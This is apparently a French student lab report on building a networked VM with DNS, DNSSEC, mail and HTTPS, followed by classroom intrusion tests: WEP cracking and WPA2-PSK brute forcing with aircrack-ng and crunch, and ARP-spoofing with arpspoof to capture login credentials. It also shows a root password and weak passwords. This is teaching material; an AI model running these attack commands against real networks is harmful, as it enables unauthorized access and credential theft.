===Cassage de mot de passe WPA-PSK par force brute===
+
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.
  
===Attaque de type "homme au milieu" par usurpation ARP===
+
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.
 +
 
 +
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]
 +
<br style="clear: both;" \>
 +
 
 +
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.
 +
Non d'utilisateur : Oui le pas de calais
 +
Mdp : le mdp
  
 
=== Intrusion sur un serveur d’application Web===
 
=== Intrusion sur un serveur d’application Web===
Ligne 273 : Ligne 628 :
  
 
===Chiffrement de données===
 
===Chiffrement de données===
 +
 +
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'
 +
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.
 +
apt-get install cryptsetup
 +
apt-get install lvm2
 +
 +
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.
 +
 +
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code>
 +
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.
 +
 +
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code>
 +
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.
 +
La liste des commande utilisé est listé ci-dessous :
 +
mount /dev/mapper/Alex.G /mnt
 +
cp -r /etc /mnt
 +
umount /mnt
 +
cryptsetup luksClose Alex.G
 +
 +
On peut voir que le clef USB crypter fonctionne bien.
 +
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]
 +
<br style="clear: both;" \>
  
 
===Inspection ARP par un élément réseau===
 
===Inspection ARP par un élément réseau===
  
 
===Sécurisation WiFi par WPA2-EAP===
 
===Sécurisation WiFi par WPA2-EAP===

Version actuelle datée du 27 novembre 2020 à 19:35

Introduction

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.

Tableau Récapitulatif

Description Détails
ID VLAN Vlan7
Réseau IP V4 193.48.57.168/26
Réseau IP V6 2001:660:4401:60a2:216:3eff:fe95:d093/64
Nom de de la VM mirage
Numéro de poste Zabeth06
Adresse du site internet version HTTP http://www.glopglop.site/
Adresse du site internet version HTTPS https://www.glopglop.site/

Architecture réseau

L'architecture du réseau est la suivante :

Architecture du réseau


Le problème est que si on regarde le réseau n'est pas vraiment redondant :

- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3

- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.

- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.

- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.

Installation des systèmes d’exploitation

Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation. Pour cela, il faut utiliser la commande :

ssh capbreton.plil.info

Installation dans la machine virtuelle Xen

Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :

 xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force

L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande :

tail -f /var/log/xen-tools/mirage.0.log

A la fin de l'installation, on obtient le mot de passe root et des informations importantes :

     Installation Summary
    ---------------------
    Hostname        :  mirage
    Distribution    :  ascii
    MAC Address     :  xxxxxxxxxxx
    IP Address(es)  :  dynamic
    SSH Fingerprint :  SHA256:xxxxxxx (DSA)
    SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)
    SSH Fingerprint :  SHA256:xxxxxxx (ED25519)
    SSH Fingerprint :  SHA256:xxxxxxx (RSA)
    Root Password   :  DgtUlOmnBFERdfarGBsopGR

Une fois la VM créer, nous pouvons la lancer avec la commande :

xl create /etc/xen/mirage.cfg

On peut vérifier que le VM est bien démarrer avec la commande :

xl list

Pour fonctionner l'état de la VM doit être r ou -b

Liste des VM en fonctionnement


On accède pour la premier fois a nottre Vm avec la commande :

xl console mirage

il demande alors le login (root) et le mdp (longue chaine précédemment générée). Après nous être logué, on change le mot de passe qui devient : glopglopglop.

Configuration de la machine virtuelle Xen

Il faut maintenant installer les packages que nous avons besoins :

apt-get update
apt-get install VIM

Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :

vim /etc/network/interfaces

Dans interfaces on ajoute

auto eth0
iface eth0 inet static
address 193.48.57.168
gateway 193.58.57.163
netmask 255.255.255.248

Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :

vi /etc/ssh/ssh_config

Le fichier ssh_config doit être configurer comme ci dessous :

Host *
SendEnv LANH LC_*
HashKnownHOST yes
GSSAPIAuthentification yes

Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure. Pour cela on configure ces interface avec la commande :

vim/etc/network/interfaces

Puis on configure la passerelle comme ci dessous :

 # The loopback network interface
  auto lo
  iface lo inet loopback
 
  # Physical Network Interfaces
  #
 auto eth
  iface eth inet static
    address 192.168.0.29
    netmask 255.255.255.0
    gateway 192.168.0.1
 
 auto eth0
  iface eth0 inet manual
   post-up ip link set $IFACE up
   post-down ip link set $IFACE down
 
 auto eth1
  iface eth1 inet manual
   post-up ip link set $IFACE up
   post-down ip link set $IFACE down
 
 auto eth2
 iface eth2 inet manual
  post-up ip link set $IFACE up
  post-down ip link set $IFACE down
 
 auto eth4
 iface eth4 inet manual
  post-up ip link set $IFACE up
  post-down ip link set $IFACE down
 
 auto eth5
 iface eth5 inet manual
  post-up ip link set $IFACE up
  post-down ip link set $IFACE down
 
 auto eth6
 iface eth6 inet manual
  post-up ip link set $IFACE up
  post-down ip link set $IFACE down
 
 auto eth7
 iface eth7 inet manual
  post-up ip link set $IFACE up
  post-down ip link set $IFACE down
 
 # Main trunk bridge
 #
 auto Trunk
 iface Trunk inet manual
  bridge_ports eth4 eth5
  post-up ip link set $IFACE up
  post-down ip link set $IFACE down
 
 # Virtual Network Interfaces
 #
 
 auto vlan48
 iface vlan48 inet static
  vlan-raw-device Trunk
  address 172.26.191.21
  netmask 255.255.252.0
  gateway 172.26.191.254
 iface vlan48 inet6 auto
 
 auto vlan500
 iface vlan500 inet manual
  vlan-raw-device Trunk
  post-up ip link set $IFACE up
  post-down ip link set $IFACE down
 
 auto vlan502
 iface vlan502 inet manual
  vlan-raw-device Trunk
  post-up ip link set $IFACE up
  post-down ip link set $IFACE down
 # Bridge for IMA5sc group
 #
 
 auto IMA5sc
 iface IMA5sc inet manual
  bridge_ports eth0 eth6
 # Bridge for IMA2a5
 #
 
 auto IMA2a5
 iface IMA2a5 inet manual
  bridge_ports eth1 eth7
 # Bridge for L3MRIT group
 #
 
 auto L3MRIT
 iface L3MRIT inet manual
  bridge_ports eth2
 # Bridge for GIS group
 #
 
 auto bridgeGIS
 iface bridgeGIS inet manual
  bridge_ports vlan502

Services Internet

Serveur SSH

Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.

On peux donc maintenant se connecté a la VM mirage avec la commande : ssh root@193.48.57.168 -p 2222

Serveur DNS

Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.

Nous commençons tout d'abord par installer bind9 via la commande suivante : apt-get install bind9

Création et configuration named.conf.local

Le named.conf.local permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP.

Il faut tout d'abbord modifié le fichier /etc/bind/named.conf.local qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.

Configuration de mirage


Puis créé le fichier de configuration appelé glopglop.site avec la commande vim /etc/bind/glopglop.site

Configuration de bind9


On relance le service 'bind9' avec la commande :service bind9 restart

On vérifie que le DNS fonctionne bien avec le commande host dns1.glopglop.site localhost

Vérification du DNS en local


Le DNS fonctionne donc bien.

Configuration gandi.net

Grâce au registrar gandi.net, nous avons réservé le nom de domaine glopglop.site. L'extension .site

Image de la configuration de Gandi


On va maintenant ajouter un "glue record" qui est un enregistrement collé.

Il permet d'associer un nom d'hôte avec une adresse IP au registre.

Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.

Image de la configuration de Gandi avec Glue Record


Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.

Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines.

Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.

DNS sur GANDI


Une fois les serveurs DNS configurer on peux fermer GANDI.

Sécurisation de site web par certificat

Sécurisation de serveur DNS par DNSSEC

Premièrement, on ajoute l'obtion dnssec-enable yes; dans le fichier named.conf.options.

Génération des clef asymétrique

Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas. pour commencer, on crée un répertoire pour stocker les clef.

 cd /etc/bind
 mkdir glopglop.site.dnssec
 cd glopglop.site.dnssec/

Une fois dans le dossier glopglop.site.dnssec, on crée les clefs avec la commandednssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site On obtien :

Generating key pair...............+++++ ..........................................+++++ 
Kglopglop.site.+005+15337

On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site On obtien :

Generating key pair................+++++ ..................................................+++++ 
Kglopglop.site.+005+55608

On a bien maintenant la paire de clef privée/publique.

Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.

On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).

Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);

mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private
Clef Privée et Public


Dans db.glopglop.site on ajoute les deux lignes ci-dessous :

$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key

On signe la zone d'enregistremment avec la commande dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk

Generation des zones d'enregistrement


Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK. pour obtenir la cled on utilise la commande cat glopglop.site-ksk.key on obtien le résultat ci-dessous :

; This is a key-signing key, keyid 15337, for glopglop.site.
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=

On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.

gandi enregistrement de la clef KSK


Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.

Test du DNSSEC


On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.

Installation d'une messagerie

Configuration de Postfix

Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous :

apt-get install postfix
ant-get install mutt

A l'installation de 'postfix' un fenêtre de configuration s'ouvre. Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'

On vérifie la configuration de 'postix' en allant dans le 'main.cf'

vi /etc/postfix/main.cf 
Configuration de postfix


On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'

service postfix restart

Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande dpkg-reconfigure postfix

Réception d'un message

On peux testé la réception de message en envoyant un message a 'roor@glopglop.site' Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande mutt

texte descriptif


On constate que on reçoit bien les message en provenance du mail de Polytech. Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'

Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande admin:root On crée ensuite un newaliases puis on restarte bind9 avec la commande service bind9 restart

Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.

Envoie du SSL Certification Gandi

Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage. On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.

texte descriptif


Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'

Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.

Fichiers Gandi a téléchargé


quand on utilise le ssh on passe par le port '442' dans le fichier /etc/apache2/sites-available/default-ssl.conf On ajoute les lignes suivantes :

SSLEngine on
SSLCertificateFile /root/glopglop.site.crt
SSLCertificateKeyFile /root/myserver.key
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem 

On reboot le service apash2 pour qu'il prenne les modification en compte. Le service ne fonctionne pas encore car on a rien qui écoute le port 442.

/etc/apache2/sites-available/default-ssl.conf 
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk
service bind9 restart

Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'

On vérifie que tout fonctionne bien avec les commandes :

host www.glopglop.site
www.glopglop.site is an alias for dns1.glopglop.site.
dns1.glopglop.site has address 193.48.57.168
 
host www.glopglop.site ns6.gandi.net
Using domain server:
Name: ns6.gandi.net
Address: 2001:4b98:d:1::40#53
Aliases: 

www.glopglop.site is an alias for dns1.glopglop.site.
dns1.glopglop.site has address 193.48.57.168

On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'

GlopGlop.site en Https


on a maintenant un site sécurisé en 'https'

Modification de la page d'accueille Apashe2

Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande vim /var/www/html/index.html.

Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web. la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.

Tests d’intrusion

Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA

Installation de la clef Wifi

Avec la commande lsusb on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.

Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

La clef ubs Wifi est bien détécter. On doit donc installer le pilote pour les clef usb RT5370 avec la commande :

apt-get install firmware-ralink
apt-get install firmware-misc-nonfree

Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande ip l et on récupère le résultat ci-dessous :

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000
   link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000
   link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000
   link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
   link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
   link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000
   link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff

La clef wifi s'apelle donc wlx40a5ef059784 on fait maintenant un ip link set wlx40a5ef059784 up>

Avec la comande dmsg on vérifie que la clef wifi fonctionne bien.

Installation du paquetage AirCrack-ng

Pour installer AirCrack (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :

apt-get install aircrack-ng
apt-get install firmware-misc-nonfree

Utilisation de AirCrack pour clef WEP

Après avoir branché la clef WiFi, on se sert de airmon-ng qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.

airmon-ng

Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):

airmon-ng start wlx40a5ef059784

Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:

airodump-ng wlan0mon 

On obtien le résultat ci dessous :

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                
38:0E:4D:B0:E9:E0   -1        0        1    0   1  -1   WPA              <length:  0>                          
04:DA:D2:9C:50:51  -30       49      834    0   9  54e. WEP  WEP         cracotte02                            
04:DA:D2:9C:50:5A  -29       44      841    0   9  54e. WEP  WEP         cracotte11                            
04:DA:D2:9C:50:56  -28       53      832    9   9  54e. WEP  WEP         cracotte07                            
04:DA:D2:9C:50:57  -29       54      803    0   9  54e. WEP  WEP         cracotte08                            
04:DA:D2:9C:50:59  -30       50      833    0   9  54e. WEP  WEP         cracotte10                            
04:DA:D2:9C:50:54  -29       48      841    0   9  54e. WEP  WEP         cracotte05                            
04:DA:D2:9C:50:50  -29       50      841    0   9  54e. WEP  WEP         cracotte01                            
04:DA:D2:9C:50:5B  -29       50      825    0   9  54e. WEP  WEP         cracotte12                            
04:DA:D2:9C:50:53  -33       46      843    0   9  54e. WEP  WEP         cracotte04                            
04:DA:D2:9C:50:58  -28       50      694    0   9  54e. WEP  WEP         cracotte09                            
04:DA:D2:9C:50:55  -30       49      746    0   9  54e. WEP  WEP         cracotte06                            
04:DA:D2:9C:50:52  -33       50      764    0   9  54e. WEP  WEP         cracotte03                            
00:14:1B:60:8C:28  -30       60        0    0   4  54e. WPA2 CCMP   PSK  kracotte09                            
00:14:1B:60:8C:22  -31       55        0    0   4  54e. WPA2 CCMP   PSK  kracotte03                            
00:14:1B:60:8C:27  -32       64        0    0   4  54e. WPA2 CCMP   PSK  kracotte08                            
00:14:1B:60:8C:24  -34       58        0    0   4  54e. WPA2 CCMP   PSK  kracotte05                            
00:14:1B:60:8C:23  -31       63        0    0   4  54e. WPA2 CCMP   PSK  kracotte04

Le réseau que nous voulons craquer est cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9

On utilise la commande airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon. cela nous crée un reseau_cracotte05-01.cap On n'as pluq qu'a faire un aircrack-ng reseau_cracotte05-01.cap .

KB    depth   byte(vote)
   0    0/  1   F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) 
   1    0/  1   DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) 
   2    1/  3   D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) 
   3    0/  2   00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) 
   4    0/  1   00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) 
   5    0/  3   00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) 
   6    0/  1   00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) 
   7    0/  1   00(51712) C9(47360) 08(46336) 56(45312) E2(44800) 
   8    0/  1   00(54016) 05(45568) C1(45312) D5(44544) B7(44288) 
   9    0/  2   00(47872) 56(46592) 84(45568) 88(45568) F2(45056) 
  10    1/  2   09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) 
  11    0/  2   99(48128) 76(47616) 99(46080) E6(46080) 06(44800) 
  12    2/  4   FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) 
  KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] 
  Decrypted correctly: 100%

Et voila nous avons trouver clef du réseau wifi cracotte05

Utilisation de AirCrack pour clef WPA2-PSA

On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.

On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.

On commence par installer Crnch avec la commande sudo apt-get install -y crunch

Une fois installer on génère un fichier dictionnaite.txt avec la commande crunch 8 8 0123456789 >> dictionnaire_wpa.txt On relance la commande airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24 On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.

Puis nous lançons aircrack-ng avec la commande aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt Read 121032 packets.

  #  BSSID              ESSID                     Encryption

  1  00:14:1B:60:8C:24  kracotte05                No data - WEP or WPA

  Choosing first network as target.

  Opening reseau_kracotte05-01.cap
  Read 121032 packets.

  1 potential targets
  Got no data packets from target network!
  Quitting aircrack-ng...

On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.

Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute"

 Aircrack-ng 1.5.2 

     [00:32:18] 10323450/102795810 keys tested (2771.75 k/s) 

     Time left: 9 hours, 16 minutes, 11 seconds                10.04%

                          KEY FOUND! [ 10244444 ]
 
     Master Key     : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B 
                      46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B 

     Transient Key  : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 
                      54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B 
                      9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 
                      79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 

     EAPOL HMAC     : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD

On a bien trouver la clé du wifi !

On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe.

Cela permet de diviser le temps de traitement par le nombre de machine utilisé.

Exploitation de failles du système

Attaque de type "homme au milieu" par usurpation ARP

Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage dsniff pour cela on utilise la commande : apt-get install dsniff

On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande cat /proc/sys/net/ipv4/ip_forward normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande cat /proc/sys/net/ipv4/ip_forward pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.

On fait la commande cat /proc/sys/net/ipv4/conf/all/rp_filter la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.

Ensuite on fait un ip r pour récupérer l'adresse ip du routeur.

capture de la commande ip r


On fait la commande arpspoof -i bridge -t zabeth07 172.26.145.254

On lance Wireshark en root en utilisant la commande su si celui ci n'est pas installer on fait préalablement apt-get install wireshark

Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.

Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.

capture de Wiresharkf


On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.

Non d'utilisateur : Oui le pas de calais
Mdp : le mdp

Intrusion sur un serveur d’application Web

Réalisations

Sécurisation de données

Chiffrement de données

Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup' pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.

apt-get install cryptsetup
apt-get install lvm2 

Le site on peut trouver la liste des commandes necessaire pour crypter le clef USB.

Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande mkfs.vfat -n 'Alex.G' -I /dev/sdb1 on obtien le nom de la clef USB avec la commande df -h On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.

On peut lancer le cryptage de la clef USB avec la commande cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb Pour savoir ou les la clef USB on utilise la commande lsblk On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter. La liste des commande utilisé est listé ci-dessous :

mount /dev/mapper/Alex.G /mnt
cp -r /etc /mnt
umount /mnt
cryptsetup luksClose Alex.G

On peut voir que le clef USB crypter fonctionne bien.

Cryptage de la clef USB


Inspection ARP par un élément réseau

Sécurisation WiFi par WPA2-EAP